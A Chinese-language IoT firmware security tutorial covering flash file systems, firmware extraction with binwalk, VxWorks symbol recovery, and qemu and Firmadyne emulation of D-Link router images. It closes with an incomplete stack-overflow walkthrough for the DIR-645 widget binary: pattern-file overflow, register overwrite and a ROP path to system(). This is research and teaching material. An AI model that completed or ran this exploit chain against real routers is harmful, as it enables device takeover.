前言 虽然通过官网下载固件的方法比较便捷,但是有些厂商并不会提供固件的下载链接,这就需要我们通过其他途径来获取固件。使用从硬件设备提取固件的方法会比较通用(前提是需要有实体机设备),因为固件一般都会存储在 PCB 的某个位置里。将设备拆开之后,找到相应的 flash rom 或者 Nor flash,使用专门的工具(烧写器、编程器)进行固件的提取。
先认识一下flash文件系统和固件类型
flash文件系统 与普通计算机系统不同的是,嵌入式系统往往需要使用低成本的存储器,诸如EEPROM(带电可擦可编程只读存储器)或Nor/Nand Flash等。Nand flash存储器经常可以与NOR Flash存储器互换使用。大多数情况下闪存只是用来存储少量的代码,这时NOR闪存更适合一些,而NAND则是高数据存储密度的理想解决方案。
Reference:Nand Flash 和Nor Flash的区别详解
这里列举一些最常见的Flash文件系统,具体如下:
Squashfs SquashFS 是一套基于Linux内核使用的压缩只读文件系统,文件最大支持2^64字节。他是基于GPL协议的开源软件。初始的版本使用gzip压缩,2.6.34版本Linux内核增加了支持LZMA和LZO压缩,并且在2.6.3内核版本上增加支持XZ压缩。OpenWrt以及DD-Wrt的固件使用的就是这种文件系统,多见于4~16MB的Nor型Flash中。
JFFS/JFFS2 全名是Journalling Flash File System,是RedHat公司开发的闪存文件系统,最早是为NOR Flash设计的,自2.6版本 以后开始支持NAND Flash,极适合用于嵌入式系统,多见于32MB以下的Nor型Flash固件中。它支持三种压缩算法:zlib、rubin以及rtime。
YAFFS/YAFFS2 全称为Yet Another Flash File System,是由Aleph One公司发展出来的NAND flash嵌入式文件系统。与JFFS不同的 是,YAFFS最初是专门针对Nand型Flash所设计的,对于大容量的Flash读写更有优势,而JFFS在小容量的FLASH中更具优势,两者各有侧重。这种文件系统多见于128MB以上的Nand型Flash固件中。
固件提取
固件类型 固件就是程序+文件系统的组合,由文件系统将多个程序组合成一个更大、更复杂的二进制文件。当然这里的大小指的是一个相对的概念。很多时候,固件的大小往往只有几MB,而在Windows或Linux上的可执行文件动辄就是几百MB,当然两者是不能比的,相比而言,固件是麻雀虽小,五脏俱全。
常见的固件类型,大概可分为如下几种:
裸机程序 它是组成最简单的固件,也是最容易分析的固件,IDA可以正确识别并分析这种类型的固件。这类的设备可以看作是 “单片机设备”,设备固件中是比较简单的控制、循环逻辑,利用中断、例程来处理外部世界的各种事件,如常见的智能门锁内部固件
实时操作系统 面向控制,通信领域的实时操作系统(RTOS),如windriver公司的VxWorks、isi的psos、qnx系统软件公司的qnx、ati的nucieus等
Vxworks镜像分类
可加载行VxWorks镜像:存储在开发机上,运行在板上RAM中
基于ROM的VXWorks镜像:存储在板上ROM,运行在板上RAM中
ROM驻留的VXWorks镜像:存储 在板上ROM,运行在板上ROM中
非实时操作系统 面向消费电子产品的非实时操作系统,包括个人数字助理(pad)、移动电话、机顶盒、电子书、webpone等。系统有Microsoft的WinCE,3Com的Palm,以及Symbian和Google的Andrioid等
固件解包 binwak 是一款优秀的固件分析、固件解包工具。可以用来解析绝大多数没有加密的固件,进行解包从而获取到固件的文件系统。
针对不同的flash文件系统也有不同的工具来解包,比如
1、Firmware Mod Kit广泛应用于Squashfs类型的固件编辑,支持多款路由器,OpenWrt和DD-Wrt的所有固件,以及TP-Link、ASUS、D-Link的大部分路由型号的固件。
2、mtd-utils 由于jffs/jffs2和yaffs/yaffs2是基于MTD的文件系统,因此可以使用Linux下的mtd-utils中的内核工具来获得对这两种文件系统的支持
binwalk binwalk通过识别文件头 智能扫描目标文件所有可识别的文件类型
1 binwalk DIR818LW_FW205b03.bin
1 2 3 4 5 6 7 8 9 10 $ file DIR818LW_FW205b03.bin DIR818LW_FW205b03.bin: data $ binwalk DIR818LW_FW205b03.bin DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 DLOB firmware header, boot partition: "dev=/dev/mtdblock/6" 120 0x78 LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 5451004 bytes 1704056 0x1A0078 PackImg section delimiter tag, little endian size: 8415232 bytes; big endian size: 6848512 bytes 1704088 0x1A0098 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 6848463 bytes, 2622 inodes, blocksize: 131072 bytes, created: 2015-07-09 07:38:10
提取文件
“-e” 按照预定义的配置文件中的提取方法提取文件
“-M” 用于根据magic签名扫描结果进行递归提取
“-d” 用于限制递归提取深度,默认为8
“-A “ 使用普通可执行操作码签名扫描目标文件
1 binwalk -Me DIR818LW_FW205b03.bin
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 $ binwalk -Me DIR818LW_FW205b03.bin Scan Time: 2020-07-07 04:04:01 Target File: /home/iot/Desktop/tools/firmadyne/firmware/DIR818LW_FW205b03.bin MD5 Checksum: be061ea71c8714b7c850e0a24291f269 Signatures: 404 DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 DLOB firmware header, boot partition: "dev=/dev/mtdblock/6" 120 0x78 LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 5451004 bytes 1704056 0x1A0078 PackImg section delimiter tag, little endian size: 8415232 bytes; big endian size: 6848512 bytes 1704088 0x1A0098 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 6848463 bytes, 2622 inodes, blocksize: 131072 bytes, created: 2015-07-09 07:38:10 Scan Time: 2020-07-07 04:04:08 Target File: /home/iot/Desktop/tools/firmadyne/firmware/_DIR818LW_FW205b03.bin-0.extracted/78 MD5 Checksum: 55be7263933b41415e8c7c0fb46e614a Signatures: 404 DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 1090373 0x10A345 Cisco IOS microcode, for "&0" 2934348 0x2CC64C Certificate in DER format (x509 v3), header length: 4, sequence length: 4 4116512 0x3ED020 Linux kernel version 2.6.30 4153552 0x3F60D0 CRC32 polynomial table, little endian 4653968 0x470390 Neighborly text, "NeighborSolicitstunnel6 init(): can't add protocol" 4653988 0x4703A4 Neighborly text, "NeighborAdvertisementst add protocol" 4658095 0x4713AF Neighborly text, "neighbor %.2x%.2x.%.2x:%.2x:%.2x:%.2x:%.2x:%.2x lost on port %d(%s)(%s)" 4673787 0x4750FB HTML document header 4673950 0x47519E HTML document footer
提取出的文件如下
1 2 3 4 5 6 $ cd _DIR818LW_FW205b03.bin.extracted/ $ ls 1A0098.squashfs 78 78.7z squashfs-root $ cd squashfs-root/ $ ls bin dev etc home htdocs include lib mnt mydlink proc sbin sys tmp usr var www
加密固件解包 vxwork 1 2 3 4 5 6 7 8 9 10 $ dd if =wdr5620v3.bin of=400.lzma bs=1 skip=1024 count=861326 861326+0 records in 861326+0 records out 861326 bytes (861 kB, 841 KiB) copied, 1.57047 s, 548 kB/s if =文件名:输入文件名of=文件名:输出文件名 skip=blocks:从输入文件开头跳过blocks个块后再开始复制 bs=bytes:同时设置读入/输出的块大小为bytes个字节 count= 读取的字节大小
解压
1 hexdump -s 0xc1100 -n 512 -C bin
提取符号表
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import idautilsimport idcimport idaapi symfile_path = './C2E3A' symbols_table_start = 8 strings_table_start = 0x9d00 with open(symfile_path, 'rb' ) as f: symfile_contents = f.read() symbols_table = symfile_contents[symbols_table_start:strings_table_start] strings_table = symfile_contents[strings_table_start:] def get_string_by_offset (offset) : index = 0 while True : if strings_table[offset+index] != 'x00' : index += 1 else : break return strings_table[offset:offset+index] def get_symbols_metadata () : symbols = [] for offset in xrange(0 , len(symbols_table),8 ): symbol_item = symbols_table[offset:offset+8 ] flag = symbol_item[0 ] string_offset = int(symbol_item[1 :4 ].encode('hex' ), 16 ) string_name = get_string_by_offset(string_offset) target_address = int(symbol_item[-4 :].encode('hex' ), 16 ) symbols.append((flag, string_name, target_address)) return symbols def add_symbols (symbols_meta_data) : for flag, string_name, target_address in symbols_meta_data: idc.MakeName(target_address, string_name) if flag == 'x54' : idc.MakeCode(target_address) idc.MakeFunction(target_address) if __name__ == "__main__" : symbols_metadata = get_symbols_metadata() add_symbols(symbols_metadata)
固件封装 firmware-mod-kit 工具包可用于提取固件中的文档系统,然后对其进行修改,并重新打包成固件。我们可以使用它对固件做定制化的修改,但是也有可能被恶意地用于在固件中添加后门等,所以在下载固件时应到官方网站下载,并检查固件是否被修改过。
该工具包支持以下固件:
DD-WRT v23 tested - versions v23 SP1 and later are compatible (soon older versions too). DD-WRT v24 tested OpenWrt White Russian tested OpenWrt Kamikaze untested (should work) - not really necessary, based on OpenWrt has its Image Builder. FreeWrt untested - should work ok HyperWrt untested Ewrt untested Sveasoft Alchemy untested Sveasoft Talisman untested Linksys / other vendor not supported by scripts yet - haven’t added cramfs handling ASUS WL-330G untested - should work ok ASUS WL-520G untested - should work ok ASUS WL-530G supported ASUS WL-550G untested - should work ok Trendnet TEW-632BRP tested DLink DIR-615 untested many others* untested
可在 google code 下载 Firmware Mod Kit v0.99 安装包,然后解压安装,安装前需要先安装相应的依赖库。
1 2 3 4 $ sudo apt-get install git build-essential zlib1g-dev liblzma-dev python-magic $cd firmware-mod-kit/src$./configure && make
firmware-mod-kit 中包含以下几个工具脚本:
extract-firmware.sh:解包固件 build-firmware.sh:重新打包固件 check_for_upgrade.sh:检查更新 unsquashfs_all.sh:解包提取出来的 squashfs 文档
固件对比 1 2 3 git clone https://github.com/bmaia/binwall python binwally.py dir1 dir2
固件模拟 因为例如 MIPS、ARM 指令集是无法直接在 X86 的指令集机器上直接运行的,所以就需要使用一个模拟环境,可以用 qemu或者Firmadyne来模拟
qemu qemu有系统模式和用户模式。对于只想模拟单个程序的话使用用户模拟即可;对于整个设备(摄像头、路由器等)的环境来说,使用系统模式比较方便
用户模式 以 dir645_FW_103.bin 为例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 $ wget ftp://ftp2.dlink.com/PRODUCTS/DIR-645/REVA/DIR-645_FIRMWARE_1.03.ZIP $ binwalk dir645_FW_103.bin DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 DLOB firmware header, boot partition: "dev=/dev/mtdblock/2" 112 0x70 LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 4237576 bytes 1441904 0x160070 PackImg section delimiter tag, little endian size: 3169792 bytes; big endian size: 6172672 bytes 1441936 0x160090 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 6170670 bytes, 2216 inodes, blocksize: 262144 bytes, created: 2012-10-09 10:24:09 $ binwalk -Me dir645_FW_103.bin $ ls dir645_FW_103.bin* _dir645_FW_103.bin.extracted/ $ file _dir645_FW_103.bin.extracted/squashfs-root/bin/busybox _dir645_FW_103.bin.extracted/squashfs-root/bin/busybox: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), statically linked, stripped
查看squashfs-root/bin/busybox
为mips32 静态链接程序,所以用qemu-mips-static
来模拟,启动单个文件
1 2 $ cp /usr/bin/qemu-mips-static . $ sudo chroot . ./qemu-mips-static ./sbin/httpd
系统模式 下载不同架构的kernel和文件系统,用来系统模拟。
1 wget -r -np -nH -R index.html https://people.debian.org/~aurel32/qemu/
以mips为例
先在物理机添加个虚拟网卡tap0并配置ip,以便和虚拟机进行通信
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 $ sudo tunctl -t tap0 -u `whoami` Set 'tap0' persistent and owned by uid 1000 $ ifconfig ens32: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 192.168.164.137 netmask 255.255.255.0 broadcast 192.168.164.255 inet6 fe80::f47c:851e:6b2a:ca13 prefixlen 64 scopeid 0x20<link> ether 00:0c:29:44:85:45 txqueuelen 1000 (Ethernet) RX packets 1273210 bytes 1632037231 (1.6 GB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 262339 bytes 15789435 (15.7 MB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 inet6 ::1 prefixlen 128 scopeid 0x10<host> loop txqueuelen 1000 (Local Loopback) RX packets 564 bytes 42862 (42.8 KB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 564 bytes 42862 (42.8 KB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 $ sudo ifconfig tap0 192.168.164.139/24 $ ifconfig ens32: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 192.168.164.137 netmask 255.255.255.0 broadcast 192.168.164.255 inet6 fe80::f47c:851e:6b2a:ca13 prefixlen 64 scopeid 0x20<link> ether 00:0c:29:44:85:45 txqueuelen 1000 (Ethernet) RX packets 1272982 bytes 1632018319 (1.6 GB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 262111 bytes 15770766 (15.7 MB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 inet6 ::1 prefixlen 128 scopeid 0x10<host> loop txqueuelen 1000 (Local Loopback) RX packets 544 bytes 41616 (41.6 KB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 544 bytes 41616 (41.6 KB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 tap0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 192.168.164.139 netmask 255.255.255.0 broadcast 192.168.164.255 inet6 fe80::2054:a3ff:fead:808f prefixlen 64 scopeid 0x20<link> ether 22:54:a3:ad:80:8f txqueuelen 1000 (Ethernet) RX packets 17 bytes 3330 (3.3 KB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 5 bytes 430 (430.0 B) TX errors 0 dropped 3 overruns 0 carrier 0 collisions 0
需要注意的是配置的tap0的ip要和本地ip在同一个网段,如果配置错误,可以sudo tunctl -d tap0
删除重新配置
然后启动虚拟机,虚拟机默认用户密码为root/root,登录后我们需要配置虚拟机ip地址与tap0也在同一网段
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic ... ... Debian GNU/Linux 6.0 debian-mips ttyS0 debian-mips login: root Password: Last login: Wed Jul 8 05:16:50 UTC 2020 on ttyS0 Linux debian-mips 2.6.32-5-4kc-malta root@debian-mips:~ eth0 Link encap:Ethernet HWaddr 52:54:00:12:34:56 inet6 addr: fe80::5054:ff:fe12:3456/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:16 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:0 (0.0 B) TX bytes:2988 (2.9 KiB) Interrupt:10 Base address:0x1020 lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:9 errors:0 dropped:0 overruns:0 frame:0 TX packets:9 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:672 (672.0 B) TX bytes:672 (672.0 B) root@debian-mips:~ root@debian-mips:~ eth0 Link encap:Ethernet HWaddr 52:54:00:12:34:56 inet addr:192.168.164.140 Bcast:192.168.164.255 Mask:255.255.255.0 inet6 addr: fe80::5054:ff:fe12:3456/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:87 errors:0 dropped:0 overruns:0 frame:0 TX packets:16 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:5220 (5.0 KiB) TX bytes:2988 (2.9 KiB) Interrupt:10 Base address:0x1020 lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:9 errors:0 dropped:0 overruns:0 frame:0 TX packets:9 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:672 (672.0 B) TX bytes:672 (672.0 B) root@debian-mips:~ PING 192.168.164.139 (192.168.164.139) 56(84) bytes of data. 64 bytes from 192.168.164.139: icmp_req=1 ttl=64 time=14.7 ms root@debian-mips:~ PING 192.168.164.137 (192.168.164.137) 56(84) bytes of data. 64 bytes from 192.168.164.137: icmp_req=1 ttl=64 time=2.28 ms
1 2 3 4 5 6 参数说明: -M 指定开发板 你能够使用-M ?參数来获取该qemu版本号支持的全部单板 -kernel 内核镜像路径 -hda/-hdb IDE硬盘镜像 -append 内核启动参数 内核命令行 -s 等同于-g 1234
然后在物理机用python启动一个简单的ftp服务器,在虚拟机里面接受固件
1 2 3 4 $ tar -cvf squashfs-root.tar squashfs-root/ $ python -m SimpleHTTPServer 8888 Serving HTTP on 0.0.0.0 port 8888 ... 192.168.164.140 - - [08/Jul/2020 00:33:18] "GET /squashfs-root.tar HTTP/1.0" 200
1 2 3 4 5 6 7 8 9 10 11 12 13 14 root@debian-mips:~ --2020-07-08 07:33:18-- http://192.168.164.137:8888/squashfs-root.tar Connecting to 192.168.164.137:8888... connected. HTTP request sent, awaiting response... 200 OK Length: 29675520 (28M) [application/x-tar] Saving to: “squashfs-root.tar” 100%[======================================>] 29,675,520 2.96M/s in 8.0s 2020-07-08 07:33:26 (3.53 MB/s) - “squashfs-root.tar” saved [29675520/29675520] root@debian-mips:~ squashfs-root.tar root@debian-mips:~
最后挂载文件,就可以开启固件里面的服务了
1 2 3 mount -o bind /dev/ ./squashfs-root/dev/ mount -t proc /proc/ ./squashfs-root/proc/ chroot ./squashfs-root sh
以上配置网络的方法访问不了外网,而且手动配置的ip可能会失效,需要重新配置。
启动gdb和gdbserver开始调试
在qemu虚拟机里面运行下面的命令来启动调试
1 2 3 gdbserver.mipsbe attach 0.0.0.0:12345 pid 或者 gdbserver.mipsbe 0.0.0.0:6666 ./test
在Ubuntu主机里面运行
1 2 3 4 5 6 7 8 gdb-multiarch gef➤ set architecture mips 设置架构gdb-multiarch gef➤ set architecture mips 设置架构 The target architecture is assumed to be mips gef➤ gef-remote -q 192.168.1.20:2333 远程链接 或者target remote 192.168.1.20:2333 gef➤ handle SIG32 pass 忽略一些信号,不然gdb会到处停很难受 gef➤ handle SIG33 pass gef➤ handle SIG43 pass
我把上述过程写了脚本方便启动
start.py 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from pwn import *import oscmd = '# ' current_path = os.getcwd() firware_path='/home/iot/tools/firmware-analysis-toolkit/firmadyne/vulfirmware/example1/_dir645_FW_103.bin.extracted/' def exploit (r) : r.sendlineafter('login: ' , 'root' ) r.sendlineafter('Password: ' , 'root' ) r.sendlineafter(cmd, 'ifconfig eth0 192.168.1.1' ) r2=process('sh' ) r2.sendlineafter('$ ' ,'cd {}' .format(firware_path)) r2.sendlineafter('$ ' ,'tar -cvf squashfs-root.tar squashfs-root/' ) r2.sendlineafter('$ ' ,'python -m SimpleHTTPServer 8888' ) sleep(2 ) r.sendlineafter(cmd, 'wget http://192.168.1.2:8888/squashfs-root.tar' ) r.sendlineafter(cmd, 'tar -xvf squashfs-root.tar' ) r.sendlineafter(cmd, 'mount -o bind /dev/ ./squashfs-root/dev/' ) r.sendlineafter(cmd, 'mount -t proc /proc/ ./squashfs-root/proc/' ) r.sendlineafter(cmd, 'chroot ./squashfs-root sh' ) r2.close() r.interactive() if __name__ == '__main__' : os.system('sudo tunctl -t tap0 -u iot' ) os.system('sudo ifconfig tap0 192.168.1.2/24' ) exploit(process('./run.sh' ))
run.sh 1 2 3 4 5 6 7 #! /bin/sh qemu-system-mipsel -M malta \ -kernel vmlinux-3.2.0-4-4kc-malta \ -hda debian_wheezy_mipsel_standard.qcow2 \ -append "root=/dev/sda1 console=tty0" \ -net nic -net tap,ifname=tap0,script=no,downscript=no \ -nographic
配置qemu-system网络 qemu想要访问外网,只需再创建一个网桥,将tap0接口添加到网桥
1 $ sudo apt install uml-utilities bridge-utils
创建网桥,名字是 virbr0
1 2 sudo brctl addbr virbr0 sudo ifconfig virbr0 192.168.122.1/24 up
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 iot@attifyos ~/t/firmware-analysis-toolkit> sudo brctl addbr virbr0 iot@attifyos ~/t/firmware-analysis-toolkit> sudo ifconfig virbr0 192.168.122.1/24 up iot@attifyos ~/t/firmware-analysis-toolkit> ifconfig ens32: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 192.168.164.137 netmask 255.255.255.0 broadcast 192.168.164.255 inet6 fe80::f47c:851e:6b2a:ca13 prefixlen 64 scopeid 0x20<link> ether 00:0c:29:44:85:45 txqueuelen 1000 (Ethernet) RX packets 135232 bytes 156937910 (156.9 MB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 45471 bytes 2897770 (2.8 MB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 inet6 ::1 prefixlen 128 scopeid 0x10<host> loop txqueuelen 1000 (Local Loopback) RX packets 10571 bytes 1888940 (1.8 MB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 10571 bytes 1888940 (1.8 MB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 virbr0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 192.168.122.1 netmask 255.255.255.0 broadcast 192.168.122.255 inet6 fe80::a061:b2ff:fea9:466d prefixlen 64 scopeid 0x20<link> ether a2:61:b2:a9:46:6d txqueuelen 1000 (Ethernet) RX packets 0 bytes 0 (0.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 22 bytes 2766 (2.7 KB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
创建 tap
接口,名字为 tap0
,并添加到网桥
1 2 3 sudo tunctl -t tap0 sudo ifconfig tap0 192.168.122.11/24 up sudo brctl addif virbr0 tap0
修改主机网络接口配置文件:
1 $sudo vim /etc/network/interfaces
如果网卡名不是eth0换成对应网卡名
1 2 3 4 5 6 7 auto lo iface lo inet loopback auto virbr0 iface virbr0 inet dhcp bridge_ports eth0
重启服务
1 sudo /etc/init.d/networking restart
启动qemu
1 qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic
然后配置ip
1 ifconfig eth0 192.168.122.12/24 up
接下来就可以访问外网了
Firmadyne Firmadyne依赖于binwalk,qemu,这个工具可以简化模拟路由器的流程,但不可以调试固件
将项目克隆下来,并执行setup.sh脚本,会安装所依赖的库和环境,并配置postgresql数据库,数据库用户和密码都为firmadyne
1 2 $ git clone --recursive https://github.com/firmadyne/firmadyne.git $ cd firmadyne && sudo ./setup.sh
firmadyne工作流程如下:
用extractor 提取filesystem,并存储在数据库里和images目录下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 iot@attifyos ~/t/f/firmadyne> ./sources/extractor/extractor.py -b dlink -sql 127.0.0.1 -np -nk "DIR823GA1_FW102B03.bin" images >> Database Image ID: 1 /home/iot/tools/firmware-analysis-toolkit/firmadyne/DIR823GA1_FW102B03.bin >> MD5: 064dd035f7e7be72949166c37f5dd432 >> Tag: 1 >> Temp: /tmp/tmp6s25ib68 >> Status: Kernel: True, Rootfs: False, Do_Kernel: False, Do_Rootfs: True >> Recursing into archive ... >>>> Squashfs filesystem, little endian, version 4.0, compression:xz, size: 4006046 bytes, 917 inodes, blocksize: 131072 bytes, created: 2038-02-22 10:46:24 >>>> Found Linux filesystem in /tmp/tmp6s25ib68/_DIR823GA1_FW102B03.bin.extracted/squashfs-root! >> Skipping: completed! >> Cleaning up /tmp/tmp6s25ib68... iot@attifyos ~/t/f/firmadyne> ls images/ 1.tar.gz README.md
识别固件架构
1 2 iot@attifyos ~/t/f/firmadyne> ./scripts/getArch.sh ./images/1.tar.gz ./bin/busybox: mipsel
将固件系统内容存储到数据库的image表中
1 iot@attifyos ~/t/f/firmadyne> ./scripts/tar2db.py -i 1 -f ./images/1.tar.gz
为固件创建qemu磁盘镜像
1 2 3 4 5 6 7 8 9 10 11 12 iot@attifyos ~/t/f/firmadyne> sudo -SE ./scripts/makeImage.sh 1 mipsel ----Running---- ----Copying Filesystem Tarball---- ----Creating QEMU Image---- Formatting '/home/iot/tools/firmware-analysis-toolkit/firmadyne/scratch//1//image.raw' , fmt=raw size=1073741824 ----Creating Partition Table---- Welcome to fdisk (util-linux 2.31.1). Changes will remain in memory only, until you decide to write them. Be careful before using the write command . ... ...
为qemu建立虚拟接口,并生成run.sh脚本
1 2 3 4 5 6 7 8 9 10 11 iot@attifyos ~/t/f/firmadyne> ./scripts/inferNetwork.sh 1 mipsel Running firmware 1: terminating after 60 secs... qemu-system-mipsel: terminating on signal 2 from pid 25160 (timeout) Inferring network... Interfaces: [('br0' , '192.168.0.1' ), ('br1' , '192.168.100.1' )] Done! ... ... iot@attifyos ~/t/f/firmadyne> ls scratch/1/ image/ image.raw qemu.initial.serial.log run.sh*
使用指定的网络配置模拟运行固件
1 2 3 4 5 6 7 iot@attifyos ~/t/f/firmadyne> sudo ./scratch/1/run.sh Creating TAP device tap1_0... Set 'tap1_0' persistent and owned by uid 0 Bringing up TAP device... Adding route to 192.168.0.1... Starting firmware emulation... use Ctrl-a + x to exit [ 0.000000] Linux version 2.6.32.70 (vagrant@vagrant-ubuntu-trusty-64) (gcc version 5.3.0 (GCC) )
系统运行成功,主机可以访问,日志记录到./scratch/1/qemu.final.serial.log
中
总结 :
firmadyne简化了固件模拟的流程,并自动配置网络。其内部工作原理和qemu-system一样,配置网络的过程也是用tunctl 来添加虚拟网卡。方便的是会生成qemu镜像,并把固件信息保存到了数据库里,下一次使用会更加方便些。
Fat fat只需一条命令就可以模拟路由器固件,他是把firmadyne的流程更简化了。
1 2 3 git clone https://github.com/attify/firmware-analysis-toolkit cd firmware-analysis-toolkit./setup.sh
但安装不容易成功,主要是依赖的东西太多了,可以使用attifyOs虚拟机,里面已经集成好了。
一条命名即可模拟路由器固件
1 ./fat.py DIR823GA1_FW102B03.bin
docker docker是真的香啊,什么环境都有别人搭好的,参考https://hub.docker.com/r/waveburst/
1 2 3 4 sudo docker pull waveburst/qemu-system-mips sudo docker pull waveburst/qemu-system-mipsel sudo docker pull waveburst/qemu-system-armhf sudo docker pull waveburst/qemu-system-armel
使用如下:
First you need to run the container with port mapped to 5555 for ssh control.
1 docker run -it -p 5555:5555 waveburst/qemu-system-mips
Now you can simply log in to your container using ‘mips:mips
‘ credentials
1 ssh -p 5555 mips@localhost
You can verity that you are inside the qemu-system simply by executing ‘uname -a
‘ command. It should return:
1 Linux docker-mips-debian 4.9.0-8-4kc-malta #1 Debian 4.9.130-2 (2018-10-27) mips GNU/Linux
OpenWRT OpenWRT是一个高度模块化、高度自动化的嵌入式Linux系统,拥有强大的网络组件和扩展性,常常被用于工控设备、电话、小型机器人、智能家居、路由器以及VOIP设备中。 同时,它还提供了100多个已编译好的软件,而且数量还在不断增加,而 OpenWrt SDK 更简化了开发软件的工序
而且OpenWRT支持各种处理器架构,无论是对ARM,X86,PowerPC或者MIPS都有很好的支持。
1 qemu-system-arm -M virt -m 64 -kernel zImage-initramfs -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic
IOT常见漏洞
D-Link DIR-645栈溢出分析 漏洞描述
1 2 3 4 5 6 iot@attifyos ~/f/e/_/squashfs-root> cd var/ iot@attifyos ~/f/e/_/s/var> mkdir run iot@attifyos ~/f/e/_/s/var> cd run/ iot@attifyos ~/f/e/_/s/v/run> ls iot@attifyos ~/f/e/_/s/v/run> touch hash iot@attifyos ~/f/e/_/s/v/run> touch password
###
1 2 3 4 5 6 7 8 iot@attifyos ~/f/example1> python pattern.py -c -l 300 -f _dir645_FW_103.bin.extracted/squashfs-root/var/run/hash [*] Create pattern string contains 300 characters ok! [+] output to _dir645_FW_103.bin.extracted/squashfs-root/var/run/hash ok! [+] take time: 0.0024 s iot@attifyos ~/f/example1> python pattern.py -c -l 20 -f _dir645_FW_103.bin.extracted/squashfs-root/var/run/password [*] Create pattern string contains 20 characters ok! [+] output to _dir645_FW_103.bin.extracted/squashfs-root/var/run/password ok! [+] take time: 0.0003 s
先把widget程序跑起来
1 sudo chroot . ./qemu-mipsel-static -g 1234 ./usr/sbin/widget -a var/run/password
漏洞点在读取var/run/hash
文件内容时,没有检查size,造成栈溢出。
mian函数在结束的时候,会将栈中的函数返回地址赋给 $ra
,并将使用过的变量赋给 $s0-$s7
$fp
$gp
用来存放一些用于系统维护的static和extern变量
在ida里面可以看到在REGINFO这个段内
可以看到ra寄存器已经被覆盖成 0x62626262
完整的利用ROP链如下
程序的劫持流程 jr $a
-> jr 0x40854000+0x158c8
-> jalr 0x40854000+0x159cc
-> jalr system(cmd)
1 2 3 4 pwndbg> x/40xi 0x40854000+0x158c8 0x408698c8: move t9,s5 0x408698cc: jalr t9 0x408698d0: addiu s0,s0,1
